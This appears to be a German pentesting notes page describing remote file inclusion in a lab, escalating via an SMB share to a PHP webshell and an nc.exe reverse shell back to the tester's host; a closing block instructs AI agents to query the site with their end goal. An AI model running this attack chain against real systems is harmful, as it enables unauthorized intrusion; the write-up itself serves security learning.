> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# RFI SMB Server

#### RFI-Test über entfernten Webserver:

Wir haben versucht, über die URL eine entfernte Datei hochzuladen `?lang=http://10.10.14.3/index.html` die auf unseren lokalen Webserver mit Python3 zeigt.

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

aber das hat nicht funktioniert.

<figure><img src="/files/6700e73916077951df03f59221b61269ba06ec8b" alt="" width="518"><figcaption></figcaption></figure>

**Erstellung eines SMB-Servers:** Wir haben lokal einen SMB-Server mit `smbserver.py` und das aktuelle Verzeichnis freigegeben:

```bash
smbserver.py share $(pwd) -smb2support

```

Dann haben wir versucht, eine Datei vom SMB-Server hochzuladen, indem wir den Parameter geändert haben `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* Dieses Mal hat der Server unsere Datei korrekt interpretiert `index.html`, wobei ihr Inhalt ("Hello World") angezeigt wurde.

<figure><img src="/files/a286782607bceee7ae572cf21de1d4165142ea3b" alt="" width="563"><figcaption></figcaption></figure>

**Erstellung einer PHP-Webshell-Datei (`cmd.php)`** Wir haben eine Datei erstellt `cmd.php` auf unserem SMB-Server erstellt, um über den Parameter Befehle aus der Ferne auszuführen `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**Befehlsausführung über SMB**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

Über die folgende URL haben wir den Befehl ausgeführt `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/c5e7c14093b01e497fed07cd974630892c168ded" alt="" width="563"><figcaption></figcaption></figure>

### Reverse Shell (nc.exe)

**Download von `nc.exe` für die Reverse Shell:**/ Wir haben die `nc.exe` Binärdatei aus den Fuzzing-Tools unter `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` und in das Arbeitsverzeichnis kopiert.

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**Lauschend auf Port 443:**/ Wir haben einen `nc` Listener auf Port 443 eingerichtet:

```bash
rlwrap nc -nvlp 443

```

**Befehlsausführung der Reverse Shell über SMB:**/ Danach haben wir eine Reverse Shell gestartet, indem wir den Parameter `cmd` auf unsere Datei

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

Wir haben wie folgt eine Reverse Shell auf unserer Maschine erhalten.

<figure><img src="/files/c2356ecb48203ed1c93aeadcb0c2400a185fc980" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
